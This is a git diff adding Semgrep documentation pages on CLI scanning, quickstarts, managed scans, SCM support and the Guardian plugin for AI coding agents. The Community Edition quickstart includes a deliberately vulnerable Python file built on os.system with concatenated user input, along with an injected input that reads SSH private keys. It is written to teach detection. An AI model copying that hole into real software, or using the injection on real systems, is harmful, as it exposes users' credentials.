+Accepted values for ``: `text`, `json`, `sarif`, `gitlab-sast`, `gitlab-secrets`, `junit-xml`, `emacs`, `vim`
+
+## Test custom rules
+
+Semgrep includes features to [test the custom rules that you write](/writing-rules/testing-rules):
+
+```bash
+semgrep scan --test
+```
+
+### Publish custom rules
+
+To share your rules by adding them to the Semgrep Registry:
+
+```bash
+semgrep publish
+```
+
+## Scan without sending results to Semgrep
+
+To scan your project using the configuration you've set up in Semgrep AppSec Platform **without** sending scan results to Semgrep, use:
+
+```bash
+semgrep ci --dry-run
+```
+
+This can help verify the results of a specific ruleset or see how your findings change based on the rulesets you choose for your scans.
+
+## Scan using Semgrep CE analysis (single-function)
+
+To scan your project using exclusively open source Semgrep, even though you have proprietary cross-file analysis enabled in Semgrep AppSec Platform:
+
+```bash
+semgrep ci --oss-only
+```
+
+
+**INFO**
+
+See [Semgrep AppSec Platform versus Semgrep Community Edition](/semgrep-pro-vs-oss) for information on the differences between Semgrep's proprietary and open source analyses.
+
+
+## Scan using specific Semgrep products
+
+When you run `semgrep ci`, you scan your project with any product that is enabled in Semgrep AppSec Platform. To scan your project with just one product, run:
+
+```bash
+# scan with Semgrep Code
+semgrep ci --code
+
+# scan with Semgrep Supply Chain
+semgrep ci --supply-chain
+
+# scan with Semgrep Secrets
+semgrep ci --secrets
+```
+
+## Extend timeout thresholds
+
+Depending on the file sizes in your project, you may need to increase the timeout threshold so that Semgrep doesn't time out before the scan completes. You can control this value with the `--timeout` flag, which specifies the maximum time Semgrep spends scanning a single file. The default value is 5 seconds. Semgrep attempts to scan each file with this timeout value three times, but you can change this using the `--timeout-threshold` flag:
+
+```bash
+# increase timeout to 45 seconds, try only 2 times
+semgrep ci --timeout 45 --timeout-threshold 2
+```
+
+## Improve performance for large codebases
+
+You can set the number of subprocesses Semgrep uses to run checks in parallel:
+
+```bash
+semgrep scan -j NUMBER_OF_SUBPROCESSES
+```
+
+By default, the number of jobs Semgrep uses is equivalent to the number of cores detected on the system, but `-j = 1` if you're passing in `--pro`. For additional information, see [Parallelization](/kb/semgrep-code/scan-engine-kill).
+
+## Set log levels
+
+Semgrep provides three levels of logging:
+
+| **Log level** | **Flag** | **Description** |
+| :--- | :--- | :--- |
+| Default | None | Prints scan progress, findings information, warnings, and errors. |
+| Verbose | `-v` or `--verbose` | Includes everything printed when using the default logging level, adding a list of rules and details such as skipped files. |
+| Debug | `--debug` | Logs the entire scan process at a high level of detail. |
+
+### Example usage
+
+To set the logging level for a scan, include the flag when scanning your project:
+
+```bash
+# run a scan and get debug logs
+semgrep ci --debug
+```
+
+## Exit codes
+
+The CLI commands `semgrep ci` and `semgrep scan` finish with exit code `0` as long as the scan completes, regardless of whether there were findings. To finish with exit code `1` when there are findings:
+
+* [Configure blocking rules](/semgrep-code/policies/#block-a-pr-or-mr-through-rule-modes)
+* Pass in the `--error` flag when running `semgrep scan`.
+
+When you run `semgrep ci`, you can pass in the `--no-suppress-errors` if you don't want [internal errors suppressed](/cli-reference/#exit-codes).
+
+## Log out
+
+To log out of your Semgrep account:
+
+```bash
+semgrep logout
+```
diff --git a/mintlify-docs/getting-started/quickstart-ce.mdx b/mintlify-docs/getting-started/quickstart-ce.mdx
new file mode 100644
index 0000000000..60d627d44b
--- /dev/null
+++ b/mintlify-docs/getting-started/quickstart-ce.mdx
@@ -0,0 +1,236 @@
+---
+title: "Get started with Semgrep Community Edition"
+description: "Semgrep Community Edition (CE) is an open source static analysis tool that can find insecure coding patterns and security vulnerabilities in source code. Semgrep CE encompasses a SAST scanning engine, community rules, and integrated development environment plugins."
+---
+
+
+
+**INFO**
+
+Semgrep CE is the open source version of Semgrep Code, a commercial offering recommended for enterprise use cases. Both products share a common command-line interface, but Semgrep Code adds additional capabilities, including a web user interface.
+
+
+## Prerequisites
+
+See [Prerequisites](/prerequisites) to ensure your machine meets Semgrep's requirements.
+
+## Install Semgrep CE
+
+
+
+
+
+
+ Install the Semgrep CLI and confirm the installation:
+
+ ```bash
+ # install through homebrew
+ brew install semgrep
+
+ # or, install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
+ pipx install semgrep
+
+ # or, install through uv (https://docs.astral.sh/uv/)
+ uv tool install semgrep
+
+ # confirm installation succeeded by printing the currently installed version
+ semgrep --version
+ ```
+
+ **Homebrew users:** ensure that you've [added Homebrew to your PATH](https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities).
+
+
+
+
+
+
+
+
+
+ Install the Semgrep CLI and confirm the installation:
+
+ ```bash
+ # install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
+ pipx install semgrep
+
+ # or, install through uv (https://docs.astral.sh/uv/)
+ uv tool install semgrep
+
+ # confirm installation succeeded by printing the currently installed version
+ semgrep --version
+ ```
+
+
+
+
+
+
+
+
+
+ [Download](https://www.python.org/downloads/) and install Python. Check the box to add python.exe to the PATH; otherwise, you will have difficulty running Semgrep.
+
+
+ Configure your system to run Python with UTF-8 text encodings by default. In PowerShell, run:
+
+ ```powershell
+ [System.Environment]::SetEnvironmentVariable('PYTHONUTF8', '1', 'User')
+ ```
+
+
+ Install the Semgrep CLI and confirm the installation. In PowerShell, run:
+
+ ```bash
+ # install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
+ pipx install semgrep
+
+ # or, install through uv (https://docs.astral.sh/uv/)
+ uv tool install semgrep
+
+ # confirm installation succeeded by printing the currently installed version
+ semgrep --version
+ ```
+
+
+
+
+
+
+## Create a test file for use with Semgrep CE
+
+
+Navigate to the directory of your choice, and create a sample file called `app.py` with the following:
+
+```python
+# app.py
+import os
+
+user_input = input("Enter a Directory: ")
+os.system("ls " + user_input)
+```
+
+Given this file, you might expect someone to run it as follows:
+
+```bash
+$ python3 app.py
+Enter a Directory: .
+app.py
+```
+
+However, because this file didn't follow secure coding principles, a malicious actor might take advantage of the file as follows:
+
+```bash
+$ python3 app.py
+Enter a Directory: .; cat ~/.ssh/id_*
+app.py
+-----BEGIN OPENSSH PRIVATE KEY-----
+...
+```
+
+## Scan `app.py` with Semgrep CE
+
+To check your code for security vulnerabilities:
+
+
+
+ Navigate to the directory where you saved `app.py` using the terminal.
+
+
+ Invoke Semgrep CE using `semgrep scan`. The `semgrep scan` command pulls down rules from the [Semgrep Registry](https://semgrep.dev/r), similar to package managers for source code libraries, and stores rules that help define semantic meaning to patterns in source code. By default, Semgrep CE uses open source community rules:
+
+```bash
+┌─────────────┐
+│ Scan Status │
+└─────────────┘
+ Scanning 1 file tracked by git with 1062 Code rules:
+
+ Language Rules Files Origin Rules
+ ───────────────────────────── ───────────────────
+ python 243 1 Community 1062
+ 48 1
+```
+
+The specific numbers shown in your **Scan Status** printed to the terminal may vary, but you can still see that Semgrep is scanning the source code using community rules. There are over 1000 community rules in the default rule set, but because Semgrep recognizes the source code language, only rules relevant to the code being scanned are evaluated.
+
+To fine-tune your scan, you can include the `--config` parameter, which allows you to choose which rules to run:
+
+```bash
+semgrep scan --config "p/python-command-injection" app.py
+```
+
+In the preceding example, the command uses a predefined rule set from the Semgrep Registry focused on command injection vulnerabilities in Python. The specific rules you use during a scan will significantly impact what is detected in your source code.
+
+
+
+## View and understand Semgrep Scan output
+
+Semgrep displays your results when the scan is completed.
+
+The Scan Summary printed to the terminal tells you how many rules were run and whether or not there were any findings. A finding indicates that Semgrep detected a potential vulnerability.
+
+```bash
+┌──────────────┐
+│ Scan Summary │
+└──────────────┘
+✅ Scan completed successfully.
+ • Findings: 1 (1 blocking)
+ • Rules run: 24
+ • Targets scanned: 1
+ • Parsed lines: ~100.0%
+ • No ignore information available
+Ran 24 rules on 1 file: 1 finding.
+```
+
+The findings list includes the name of the rule, a brief explanation of the security issue, and the exact line of code that triggered the finding:
+
+```bash
+┌────────────────┐
+│ 1 Code Finding │
+└────────────────┘
+
+ app.py
+ ❯❯❱ python.lang.security.audit.dangerous-system-call-audit.dangerous-system-call-audit
+ Found dynamic content used in a system call. This is dangerous if external data can reach this
+ function call because it allows a malicious actor to execute commands. Use the 'subprocess' module
+ instead, which is easier to use without accidentally exposing a command injection vulnerability.
+ Details: https://sg.run/2WL0
+
+ 5┆ os.system("ls " + user_input)
+```
+
+Each rule is given a unique namespace to help identify it. For example, Python language issues are prefixed with `python.lang`.
+
+The rule's author defines the source code patterns and provides remediation advice or an explanation of the problem. In this example, you can also see the specific expression and line of code where the issue appears.
+
+This example is a [Command Injection](/learn/vulnerabilities/command-injection) vulnerability. The rule advises you to review the [Python Code Injection Cheat Sheet](/cheat-sheets/python-code-injection) to learn more. The link in the output takes you to the **Semgrep Playground**, where you can interactively modify this rule and test it against sample code.
+
+## Next steps
+
+Read Semgrep docs for details on how to:
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/getting-started/quickstart-managed-scans.mdx b/mintlify-docs/getting-started/quickstart-managed-scans.mdx
new file mode 100644
index 0000000000..03e7a82683
--- /dev/null
+++ b/mintlify-docs/getting-started/quickstart-managed-scans.mdx
@@ -0,0 +1,205 @@
+---
+title: "Quickstart for Semgrep Managed Scans"
+sidebarTitle: "Quickstart: Managed Scans"
+description: "This quickstart guide will help you set up Semgrep and scan your first project using Semgrep Managed Scans."
+---
+
+
+**INFO**
+
+A **project** is any codebase, repository, or folder within a monorepo that is added to Semgrep for scanning. This includes all the findings, history, and scan metadata for the project.
+
+
+## What are Semgrep Managed Scans?
+
+Semgrep Managed Scans allow you to run Semgrep scans without needing to set up and maintain your own infrastructure. It provides a simple, scalable way to scan your code for security vulnerabilities, code quality issues, and other problems without setting up and maintaining separate configurations for each project.
+
+## Supported source code managers
+
+You must be an existing [Semgrep AppSec Platform](https://semgrep.dev/orgs/-/) user with one of the following plans:
+ - Bitbucket Cloud Premium plans or Bitbucket Data Center (v8.8 or above for diff-aware scans)
+ - Hosted GitHub (GitHub.com) and GitHub Enterprise Server plans
+ - GitLab Cloud and GitLab self-managed plans and a Premium or Ultimate subscription
+ - Azure DevOps Cloud repositories
+
+## Add projects to Semgrep Managed Scans
+
+
+
+
+### Prerequisites
+
+You must have admin access to your Azure DevOps organization.
+
+Read access is granted through an access token you generate on Azure DevOps. You can provide this token by [adding Azure DevOps as a source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs).
+
+Semgrep recommends setting up and configuring Semgrep with an Azure DevOps service account, not a personal account. Regardless of whether you use a personal or service account, the account must be assigned the **Owner** or **Project Collection Administrator** role for the organization. During setup and configuration, you must provide a personal access token generated by this account. This token must be authorized with **Full access**. Once you have Semgrep Managed Scans fully configured, you can update the token provided to Semgrep to a more restrictive one. The scopes you must assign to the token include:
+
+- `Code: Read`
+- `Code: Status`
+- `Member Entitlement Management: Read`
+- `Project and Team: Read & write`
+- `Pull Request Threads: Read & write`
+
+### Add a project
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login)
+
+
+ Navigate to **Projects**, and click **Scan new project > Semgrep Managed Scan**.
+
+
+ In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
+
+
+ Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
+
+
+ Click **Enable**. You are taken to the **Projects** page as your scans begin.
+
+
+
+
+
+
+
+### Prerequisites
+
+You must have admin access to your Bitbucket organization.
+
+#### Bitbucket Cloud
+
+- Read access is granted through a [workspace access token](https://support.atlassian.com/bitbucket-cloud/workspace-access-tokens/) you generate on Bitbucket. You can provide this token by [adding Bitbucket as a source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs).
+- The user generating the workspace token must be a **Product Admin** for the workspace. The scopes you must assign to the token include:
+ - `webhook (read and write)`
+ - `repository (read and write)`
+ - `pullrequest (read and write)`
+ - `project (admin)`
+ - `account (read)`
+
+#### Bitbucket Data Center
+
+- V8.8 or above for diff-aware scans. Additionally, project-level webhooks are required to support diff-aware scans.
+- Read access is granted through an [HTTP access token](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html) you generate on Bitbucket. You can provide this token by [adding Bitbucket as a source code manager](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects).
+- The user generating the workspace token must be a **Product Admin** for the workspace. The token must be created with `PROJECT_ADMIN` permissions.
+
+### Add a project
+
+
+
+ Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login)
+
+
+ Navigate to **Projects**, and click **Scan new project > Semgrep Managed Scan**.
+
+
+ In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
+
+
+ Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
+
+
+ Click **Enable**. You are taken to the **Projects** page as your scans begin.
+
+
+
+
+
+
+
+### Prerequisites
+
+You must have admin access to your GitHub organization.
+
+To enable and use this feature, you must grant Semgrep **Read access** to your code. This is done by installing a private GitHub app that you create and register yourself. The steps to do so are provided in the subsequent section of this document. See [Managed Scans > Security](/deployment/managed-scanning/overview#security) for more information on how Semgrep handles your code once you've provided read access.
+
+### Add a project
+
+
+
+ Go to [Semgrep AppSec Platform](https://semgrep.dev/login), and sign up by clicking on **Sign in with GitHub**. Follow the on-screen prompts to [grant Semgrep the necessary permissions](/deployment/checklist/#permissions) and proceed.
+
+
+ Provide the **Organization display name** you'd like to use, then click **Create new organization**.
+
+
+ When asked **Where do you want to scan?** click **GitHub**.
+
+
+ Follow the steps in the **Connect GitHub to Semgrep** page. These steps install a public GitHub app to handle PR comments and a private GitHub app to handle code access. You can select which repositories these apps have access to, and remove or revoke their permissions at any time.
+
+
+ Click **Set up projects**. You are taken to the **Enable Managed Scans for repos** page.
+
+
+ Select all the repositories you want to add to Semgrep Managed Scans for scanning.
+
+
+ Click **Enable Managed Scans**. You are taken to the **Projects** page as your scans begin.
+
+
+
+
+
+
+
+### Prerequisites
+
+Semgrep Managed Scanning (SMS) requires one of the following plans:
+
+- GitLab Premium
+- GitLab Ultimate
+- GitLab Self Managed
+
+You must provide a GitLab group access token or personal access token to Semgrep. The token must have the `api` scope assigned to it.
+
+During SMS onboarding, the group or user to which the token is assigned must have one of the following roles:
+
+- `Maintainer`
+- `Owner`
+- `Admin`
+
+This is because managed scans of GitLab repositories require the enablement of webhooks to facilitate diff-aware scans and the creation of pull request comments by Semgrep. The webhooks are enabled by default when you set up Managed Scans and add GitLab as a source code manager. Once onboarding is complete, you can downgrade the role assigned to the token to `Developer`.
+
+### Add a project
+
+
+
+ Navigate to [Semgrep AppSec Platform](https://semgrep.dev/login), and sign up by clicking on **Sign in with GitLab**. Follow the on-screen prompts to proceed.
+
+
+ When prompted, click **Scan new project > Semgrep Managed Scan**.
+
+
+ In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
+
+
+ Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
+
+
+ Click **Enable**. You are taken to the **Projects** page as your scans begin.
+
+
+
+
+
+
+Semgrep now performs a full scan on all the projects that you added in batches.
+
+You can [view your projects in Semgrep AppSec Platform](https://semgrep.dev/orgs/-/projects/scanning). All projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether they are actively being scanned by Semgrep Managed Scans.
+
+
+
+## Next steps
+
+Once a scan has finished, you can view your findings on the following Semgrep AppSec Platform pages:
+
+- [ Code](https://semgrep.dev/orgs/-/findings?tab=open&primary=true) for SAST findings
+- [ Secrets](https://semgrep.dev/orgs/-/secrets?tab=open&validation_state=confirmed_valid,validation_error,no_validator) for secrets findings
+- [ Supply Chain](https://semgrep.dev/orgs/-/supply-chain/vulnerabilities?primary=true&tab=open) for SCA findings
+- Add [ AI-powered detection](/deployment/add-ai-to-scans) to your Semgrep Code scans
+
+
+See [Semgrep Managed Scans](/deployment/managed-scanning/overview) to learn more about how Semgrep manages your scans.
diff --git a/mintlify-docs/getting-started/quickstart.mdx b/mintlify-docs/getting-started/quickstart.mdx
new file mode 100644
index 0000000000..e20a595384
--- /dev/null
+++ b/mintlify-docs/getting-started/quickstart.mdx
@@ -0,0 +1,205 @@
+---
+title: "Quickstart"
+description: "Learn how to set up Semgrep, scan your first project, which can be any codebase, repository, or folder within a monorepo, for security issues, and view your findings."
+---
+
+
+
+**PREREQUISITES**
+
+You must have Python 3.10 or later installed on the machine where the Semgrep CLI is running.
+
+
+
+
+ Go to [Semgrep AppSec Platform](https://semgrep.dev/login), and sign up by clicking on **Continue with GitHub** or **Continue with GitLab**. Follow the on-screen prompts to grant Semgrep the necessary permissions.
+
+
+ Provide the **Organization display name** you'd like to use, then click **Create new organization**.
+
+
+ When asked **Where do you want to scan?** click **Run on CLI**.
+
+
+ Launch your CLI, and follow the instructions on the [**Scan a project on your machine**](https://semgrep.dev/onboarding/scan) page. For your convenience, the same information is presented below, along with instructions for Windows users.
+
+
+
+ i. Install the Semgrep CLI and confirm the installation:
+
+ ```bash
+ # install through homebrew
+ brew install semgrep
+
+ # or, install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
+ pipx install semgrep
+
+ # or, install through uv (https://docs.astral.sh/uv/)
+ uv tool install semgrep
+
+ # confirm installation succeeded by printing the currently installed version
+ semgrep --version
+ ```
+
+
+ **NOTE**
+
+ **Homebrew users:** ensure that you've [added Homebrew to your PATH](https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities).
+
+
+ ii. Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
+
+ ```bash
+ semgrep login
+ ```
+
+ iii. In the **Semgrep CLI login**, click **Activate** to proceed.
+
+ iv. Return to the CLI, navigate to the root of your project, and run your first scan:
+
+ ```bash
+ semgrep ci
+ ```
+
+
+
+
+
+
+ i. Install the Semgrep CLI and confirm the installation:
+
+ ```bash
+ # install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
+ pipx install semgrep
+
+ # or, install through uv (https://docs.astral.sh/uv/)
+ uv tool install semgrep
+
+ # confirm installation succeeded by printing the currently installed version
+ semgrep --version
+ ```
+
+ ii. Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
+
+ ```bash
+ semgrep login
+ ```
+
+ iii. In the **Semgrep CLI login**, click **Activate** to proceed.
+
+ iv. Return to the CLI, navigate to the root of your project, and run your first scan:
+
+ ```bash
+ semgrep ci
+ ```
+
+
+
+ i. [Download](https://www.python.org/downloads/) and install Python. Make sure to check the box to add python.exe to the PATH, otherwise you will have difficulty running Semgrep.
+
+ ii. Configure your system to run Python with UTF-8 text encodings by default. In PowerShell, run:
+
+ ```powershell
+ [System.Environment]::SetEnvironmentVariable('PYTHONUTF8', '1', 'User')
+ ```
+
+ iii. Install the Semgrep CLI and confirm the installation. In PowerShell, run:
+
+ ```bash
+ # install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
+ pipx install semgrep
+
+ # or, install through uv (https://docs.astral.sh/uv/)
+ uv tool install semgrep
+
+ # confirm installation succeeded by printing the currently installed version
+ semgrep --version
+ ```
+
+ iv. Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
+
+ ```bash
+ semgrep login
+ ```
+
+ v. In the **Semgrep CLI login**, click **Activate** to proceed.
+
+ vi. Return to the CLI, navigate to the root of your project, and run your first scan:
+
+ ```bash
+ semgrep ci
+ ```
+
+
+
+
+
+
+
+ **PREREQUISITES**
+
+ Ensure that you have [Docker installed](https://docs.docker.com/desktop/) before proceeding.
+
+
+ i. Pull the latest image and confirm the version:
+
+ ```bash
+ docker pull semgrep/semgrep
+
+ # confirm version
+ docker run --rm semgrep/semgrep semgrep --version
+ ```
+
+ ii. For users running Docker on **macOS or Linux** Docker:
+
+ a. Log in to your Semgrep account (running this command will launch a browser window, but you can also use the link that's returned in the CLI to proceed):
+
+ ```bash
+ docker run -it semgrep/semgrep semgrep login
+ ```
+
+ b. In the **Semgrep CLI login**, click **Activate** to proceed. Return to the CLI and copy the login token that's shown.
+
+ c. Navigate into the root of your project, and run your first scan. Be sure to substitute YOUR_TOKEN with the login token value you copied in the previous step:
+
+ ```bash
+ docker run -e SEMGREP_APP_TOKEN=YOUR_TOKEN --rm -v "${PWD}:/src" semgrep/semgrep semgrep ci
+ ```
+
+ The provided `-v` option mounts the current directory into the container to be scanned. Navigate into a different project or provide a specific local directory in the command to scan a different project.
+
+ iii. For users running Docker on **Windows**:
+
+ a. Log in to your Semgrep account (running this command will launch a browser window, but you can also use the link that's returned in the CLI to proceed):
+
+ ```bash
+ docker run -it semgrep/semgrep semgrep login
+ ```
+
+ b. In the **Semgrep CLI login**, click **Activate** to proceed. Return to the CLI, and copy the login token that's shown.
+
+ c. Navigate into the root of your project, and run your first scan. Be sure to substitute YOUR_TOKEN with the login token value you copied in the previous step:
+
+ ```bash
+ docker run -e SEMGREP_APP_TOKEN=YOUR_TOKEN --rm -v "%cd%:/src" semgrep/semgrep semgrep ci
+ ```
+
+ The provided `-v` option mounts the current directory into the container to be scanned. Navigate into a different project or provide a specific local directory in the command to scan a different project.
+
+
+
+
+
+ Once you've scanned your first application, return to [Semgrep AppSec Platform](https://semgrep.dev/orgs/-/) to see the security vulnerabilities in your project. For detailed information, click **Code** to access your SAST findings or **Supply Chain** to access your SCA findings.
+
+
+ **INFO**
+
+ **Code is not uploaded.** Only **findings** are sent to Semgrep AppSec Platform.
+
+
+
+
+## Scan without a GitHub or GitLab account
+
+If you don't have a GitHub or GitLab account, you can use `semgrep scan` in your CLI. See [Scan your project](/getting-started/cli#scan-your-project) for more details.
diff --git a/mintlify-docs/getting-started/scm-support.mdx b/mintlify-docs/getting-started/scm-support.mdx
new file mode 100644
index 0000000000..da836e6a45
--- /dev/null
+++ b/mintlify-docs/getting-started/scm-support.mdx
@@ -0,0 +1,38 @@
+---
+title: "Supported source code managers"
+description: "Semgrep supports the following source code managers (SCM) and plans to varying degrees. Please review the information for your specific SCM and plan to see what Semgrep features are available to you."
+---
+
+| Plan | Unsupported Semgrep features |
+| :--- | :--- |
+| Azure DevOps Cloud |
Query console
Auto PRs for Supply Chain findings
|
+| Azure DevOps Server |
Semgrep Multimodal
Semgrep Managed Scans
Pull request comments
Query console
Diff-aware scans
Sending findings to Semgrep AppSec Platform
Default branch identification
Auto PRs for Supply Chain findings
Generic secrets (requires Semgrep Multimodal)
|
+| Bitbucket Cloud Free |
Semgrep Multimodal†
Semgrep Managed Scan†
Query console
Auto PRs for Supply Chain findings
Generic secrets (requires Semgrep Multimodal)
|
+| Bitbucket Cloud Standard |
Semgrep Multimodal†
Semgrep Managed Scan†
Query console
Auto PRs for Supply Chain findings
Generic secrets (requires Semgrep Multimodal)
|
+| Bitbucket Cloud Premium |
Query console
Auto PRs for Supply Chain findings
|
+| Bitbucket Data Center |
Query console
Diff-aware scans and triage through PR comments require Bitbucket Data Center version 8.8 or later.
|
+| GitLab Dedicated / Dedicated for Government |
Query console
Auto PRs for Supply Chain findings
|
+| GitLab Self-Managed Free |
Semgrep Managed Scans*
Query console
Auto PRs for Supply Chain findings
|
+| GitLab Self-Managed Premium |
Query console
Auto PRs for Supply Chain findings
|
+| GitLab Self-Managed Ultimate |
Query console
Auto PRs for Supply Chain findings
|
+
+†Semgrep Multimodal and Managed Scans require a workspace access token, which is only available to users with Bitbucket Cloud Premium.
+
+*Semgrep Managed Scans and triage through MR comments require access to group webhooks, which is unavailable to GitLab Free users.
+
+
+## Access limitations
+
+You may need to add [Semgrep's IP addresses](/deployment/checklist#ip-addresses) to your ingress and egress allowlists, or you can use the [Network Broker](/semgrep-ci/network-broker), if any of the following conditions apply:
+
+- Your SCM offers security features that limit access to your resources
+- Your SCM is behind a firewall or protected by network restrictions regarding access
+- You are using a virtual private network (VPN)
diff --git a/mintlify-docs/guardian.mdx b/mintlify-docs/guardian.mdx
new file mode 100644
index 0000000000..8702b8b400
--- /dev/null
+++ b/mintlify-docs/guardian.mdx
@@ -0,0 +1,222 @@
+---
+title: "Semgrep Guardian"
+---
+
+Semgrep Guardian integrates natively with AI coding agents like Claude Code and Cursor to catch security issues before they ship. It bundles the Semgrep MCP server, Hooks, and Skills into a single install, and scans every file an agent generates using Semgrep Code, Supply Chain, and Secrets. When findings are detected, the agent is prompted to regenerate code until Semgrep returns clean results or you choose to dismiss them.
+
+The plugin uses each IDE's native hook or MCP system:
+
+* **Claude Code**: [hooks](https://code.claude.com/docs/en/hooks) and [plugins](https://code.claude.com/docs/en/plugins)
+* **Codex**: [MCP](https://developers.openai.com/codex/mcp)
+* **Cursor**: [hooks](https://cursor.com/docs/hooks) and [MCP](https://cursor.com/docs/mcp)
+* **GitHub Copilot** (Visual Studio, JetBrains, Xcode, Eclipse): [MCP](https://docs.github.com/en/copilot/how-tos/provide-context/use-mcp-in-your-ide/extend-copilot-chat-with-mcp)
+* **VS Code**: [MCP](https://code.visualstudio.com/docs/copilot/customization/mcp-servers)
+* **Windsurf**: [Cascade hooks](https://docs.windsurf.com/windsurf/cascade/hooks)
+
+This guide covers setup for each of the preceding products listed, but the plugin works with any MCP client.
+
+## Prerequisites
+
+* Python 3.10 or later (the Semgrep CLI requires it at runtime regardless of how it was installed)
+* Homebrew, [`pipx`](https://pipx.pypa.io/stable/how-to/install-pipx/), or [`uv`](https://docs.astral.sh/uv/) to install Semgrep
+* A Semgrep account
+
+## Install the Semgrep CLI
+
+These steps are the same regardless of which IDE you use.
+
+
+
+Install Semgrep using Homebrew, pipx, or uv:
+
+```bash
+@@ -50,86 +48,129 @@
+# or, install using uv (https://docs.astral.sh/uv/)
+uv tool install semgrep
+```
+
+
+Verify that you've installed the [latest version](https://github.com/semgrep/semgrep/releases) of Semgrep:
+
+```bash
+semgrep --version
+```
+
+
+Sign in to your Semgrep account and install the Semgrep Pro engine:
+
+```bash
+semgrep login && semgrep install-semgrep-pro
+```
+
+`semgrep login` launches a browser window. You can also use the activation link printed in the terminal.
+
+
+## Connect to your IDE
+
+
+
+
+
+ Start a new Claude Code instance in the terminal:
+
+ ```bash
+ claude
+ ```
+
+
+ Open the plugin manager:
+
+ ```bash
+ /plugin
+ ```
+
+
+ Go to **Discover**, search for **Semgrep**, and click **Install**.
+
+
+ Set up the Guardian:
+
+ ```bash
+ /setup-semgrep-plugin
+ ```
+
+
+ The plugin registers a post-tool hook so Claude Code scans every file it writes. Learn more about [Claude Code plugins](https://code.claude.com/docs/en/plugins) and [hooks](https://code.claude.com/docs/en/hooks).
+
+
+
+
+ Update your `~/.codex/config.toml` file and paste the following:
+
+ ```bash
+ [mcp_servers.semgrep]
+ command = "semgrep"
+ args = ["mcp"]
+ ```
+
+
+ Codex does not expose a post-write hook, so Semgrep tools are surfaced through MCP and invoked when the agent calls them. Learn more about [Codex MCP configuration](https://developers.openai.com/codex/mcp).
+
+
+
+
+ Find Semgrep in the [Cursor Plugin Marketplace](https://cursor.com/marketplace/semgrep), or open **Cursor > ⌘⇧J > Plugins**. Search "Semgrep" and click **Add to Cursor**.
+
+
+ Restart Cursor to apply configuration.
+
+
+ In Cursor's chat, run the `/setup-semgrep-plugin` skill to finish wiring up the plugin.
+
+ The plugin uses [Cursor hooks](https://cursor.com/docs/hooks) (`afterFileEdit` and `stop`) to scan code as the agent writes it, and exposes Semgrep tools through [Cursor MCP](https://cursor.com/docs/mcp).
+
+
+
+
+ Use this tab for GitHub Copilot in Visual Studio, JetBrains IDEs, Xcode, or Eclipse. (For Copilot in VS Code, use the **VS Code** tab.)
+
+
+ Register the Semgrep MCP server with your IDE's Copilot configuration. The JSON shape is the same across IDEs:
+
+ ```json
+ {
+ "servers": {
+ "semgrep": {
+ "command": "semgrep",
+ "args": ["mcp"]
+ }
+ }
+ }
+ ```
+ Follow your IDE's instructions for *where* to put this entry: [Extending Copilot Chat with MCP servers](https://docs.github.com/en/copilot/how-tos/provide-context/use-mcp-in-your-ide/extend-copilot-chat-with-mcp) covers Visual Studio, JetBrains, Xcode, and Eclipse.
+
+
+ Restart your IDE and open Copilot Chat. Semgrep tools become available in **Agent** mode.
+
+
+ Copilot does not expose a post-write hook, so Semgrep tools are invoked when the agent calls them through MCP.
+
+
+
+
+
+ Add the Semgrep MCP server to VS Code. Create `.vscode/mcp.json` in your workspace (or run the **MCP: Open User Configuration** command from the Command Palette for a user-wide entry) and paste the following:
+
+ ```json
+ {
+ "servers": {
+ "semgrep": {
+ "command": "semgrep",
+ "args": ["mcp"]
+ }
+ }
+ }
+ ```
+
+
+ Verify that you've installed the [latest version](https://github.com/semgrep/semgrep/releases) of Semgrep by running the following:
+
+ ```bash
+ semgrep --version
+ ```
+
+
+ Reload VS Code. Semgrep tools become available in the Copilot Chat **Agent** mode.
+
+
+ VS Code does not expose a post-write hook today, so Semgrep tools are invoked when the agent calls them through MCP. Learn more about [adding and managing MCP servers in VS Code](https://code.visualstudio.com/docs/copilot/customization/mcp-servers).
+
+
+
+
+
+ Create a `hooks.json` file at `~/.codeium/windsurf/hooks.json` and paste the following configuration:
+
+ ```json
+ {
+ "hooks": {
+ "post_write_code": [
+ {
+ "command": "semgrep mcp -k post-tool-cli-scan -a windsurf",
+ "show_output": true
+ }
+ ]
+ }
+ }
+ ```
+
+
+ Restart Windsurf to apply hook configuration.
+
+
+ The `post_write_code` event fires after Cascade writes or modifies any file. Learn more about [Windsurf Cascade hooks](https://docs.windsurf.com/windsurf/cascade/hooks).
+
+
+
+ Add the Semgrep MCP Server to your IDE. Semgrep provides [sample configuration information](https://github.com/semgrep/semgrep/tree/develop/cli/src/semgrep/mcp#integrations) that you can use as a starting point. Refer to your IDE's documentation for specific details on where to add the MCP server configuration.
+
+ If your IDE supports a post-write or post-tool hook, point it at `semgrep mcp -k post-tool-cli-scan -a ` to scan generated code automatically. The Windsurf tab above shows this pattern.
+
+
+
+## Scan your code
+
+
+
